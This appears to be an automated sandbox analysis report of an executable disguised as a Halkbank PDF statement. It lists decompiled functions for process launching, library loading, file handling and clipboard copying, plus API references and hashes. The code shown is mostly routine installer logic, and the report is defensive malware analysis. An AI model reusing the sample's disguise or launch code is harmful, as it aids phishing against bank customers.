windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x42a290;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42924c =  *0x42924c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x42924c, 0x7530,  *0x429234), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction ID: af17251ef12b8b272b5eaf8d1bef107274ce64b6e67bb2dd4604cf2723900e86
Opcode Fuzzy Hash: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction Fuzzy Hash: 6F012831724220EBEB295B389D05B6A3698E710714F10857FF855F76F1E678CC029B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4B Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C4B(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x426750->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x426750,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405c54
0x00405c74
0x00405c7c
0x00405c81
0x00000000
0x00405c87
0x00405c8b

APIs

CreateProcessW.KERNELBASE ref: 00405C74
CloseHandle.KERNEL32(?), ref: 00405C81

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction ID: 91309136e62a13352d93043ad9bb7922807806bb2ea2f765c8e9c4a894a003d9
Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction Fuzzy Hash: 59E0B6B4600209BFFB109B64EE09F7B7BADFB04648F414565BD51F2190D778A8158A78

Uniqueness

Uniqueness Score: -1.00%

Function 00406A35 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A35(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E004069C5(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406a3d
0x00406a40
0x00406a47
0x00406a4f
0x00406a5b
0x00000000
0x00406a62
0x00406a52
0x00406a59
0x00000000
0x00406a6a
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

Part of subcall function 004069C5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
Part of subcall function 004069C5: wsprintfW.USER32 ref: 00406A17
Part of subcall function 004069C5: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction ID: 0464b4a7853edb7079d0776797c383171681067eb8499b99987f1e8ea9f8efb8
Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction Fuzzy Hash: E0E086727042106AD210A6745D08D3773E8ABC6711307883EF557F2040D738DC359A79

Uniqueness

Uniqueness Score: -1.00%

Function 00406158 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406158(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x0040615c
0x00406169
0x0040617e
0x00406184

APIs

GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,80000000,00000003), ref: 0040615C
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Uniqueness

Uniqueness Score: -1.00%

Function 00406133 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406133(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x00406138
0x0040613e
0x00406143
0x0040614c
0x0040614c
0x00406155

APIs

GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 3e6336b5c460747e2e1e0fbe3c4db8defb42c0044e1a92967a1d29a512d2a4bc
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 73D0C972514130ABC2102728AE0889ABB56EB64271B014A35F9A5A62B0CB304C628A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405C16 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C16(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405c1c
0x00405c24
0x00000000
0x00405c2a
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C
GetLastError.KERNEL32 ref: 00405C2A

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 66e62c5d6c7775ff4cea72667941029308d228c48495a605f612c1d2d9e1fc74
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: FBC04C31218605AEE7605B219F0CB177A94DB50741F114839E186F40A0DA788455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 0040620A Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040620A(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x0040620e
0x0040621e
0x00406226
0x00000000
0x0040622d
0x00000000
0x0040622f

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000,0040E158,0040CEF0,00403579,0040CEF0,0040E158,00414EF0,00004000,?,00000000,004033A3,00000004), ref: 0040621E

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 398385dbb58ca0a44fa402a726e0ab0b2131cea3ae709c8a1b666252059dd88a
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: F6E08632141129EBCF10AE548C00EEB375CFB01350F014476F955E3040D330E93087A5

Uniqueness

Uniqueness Score: -1.00%

Function 004061DB Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004061DB(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004061df
0x004061ef
0x004061f7
0x00000000
0x004061fe
0x00000000
0x00406200

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000,00414EF0,0040CEF0,004035F5,?,?,004034F9,00414EF0,00004000,?,00000000,004033A3), ref: 004061EF

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 689b8facb1381159ac92aeccc4703b7db47ce2620db9a14c340ec3ef8a35c8b1
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: C1E0863250021AABDF10AE518C04AEB375CEB01360F014477F922E2150D230E82187E8

Uniqueness

Uniqueness Score: -1.00%

Function 004035F8 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004035F8(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x00403606
0x0040360c

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00401FA4() {
				void* _t9;
				char _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t19 = E00402DA6(_t15);
				E004056CA(0xffffffeb, _t7);
				_t9 = E00405C4B(_t19); // executed
				_t20 = _t9;
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
						_t13 = E00406AE0(_t17, _t20); // executed
						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E004065AF( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20);
					CloseHandle();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401faa
0x00401faf
0x00401fb5
0x00401fba
0x00401fbe
0x0040292e
0x00401fc4
0x00401fc7
0x00401fca
0x00401fd2
0x00401fe1
0x00401fe3
0x00401fe3
0x00401fd4
0x00401fd8
0x00401fd8
0x00401fd2
0x00401fea
0x00401feb
0x00401feb
0x00402c2d
0x00402c39

APIs

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 00405C4B: CreateProcessW.KERNELBASE ref: 00405C74
Part of subcall function 00405C4B: CloseHandle.KERNEL32(?), ref: 00405C81

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB

Part of subcall function 00406AE0: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
Part of subcall function 00406AE0: GetExitCodeProcess.KERNELBASE ref: 00406B13

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 98c10e394aa7211d00c312830497ac903b837474ab48397c41695a6fe6023c65
Instruction ID: 7fe263eab699b123ac8c37dffe14ee58438593542e676086741668bd6549bbba
Opcode Fuzzy Hash: 98c10e394aa7211d00c312830497ac903b837474ab48397c41695a6fe6023c65
Instruction Fuzzy Hash: 3DF09072905112EBDF21BBA59AC4DAE76A4DF01318B25453BE102B21E0D77C4E528A6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00405809 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00405809(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x429244;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E0040579D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E004066A5(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x423748;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x42922c == _t156) {
							ShowWindow( *0x42a268, 8);
							if( *0x42a2ec == _t156) {
								E004056CA( *((intOrPtr*)( *0x422720 + 0x34)), _t156);
							}
							E0040459D(_t171);
							goto L25;
						}
						 *0x421f18 = 2;
						E0040459D(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E0040462B(_a8, _a12, _a16);
						}
						ShowWindow( *0x429230, _t156);
						ShowWindow(_t169, 8);
						E004045F9(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x42a270;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x429230 = GetDlgItem(_a4, 0x403);
				 *0x429228 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x429244 = _t134;
				_v8 = _t134;
				E004045F9( *0x429230);
				 *0x429234 = E00404F52(4);
				 *0x42924c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
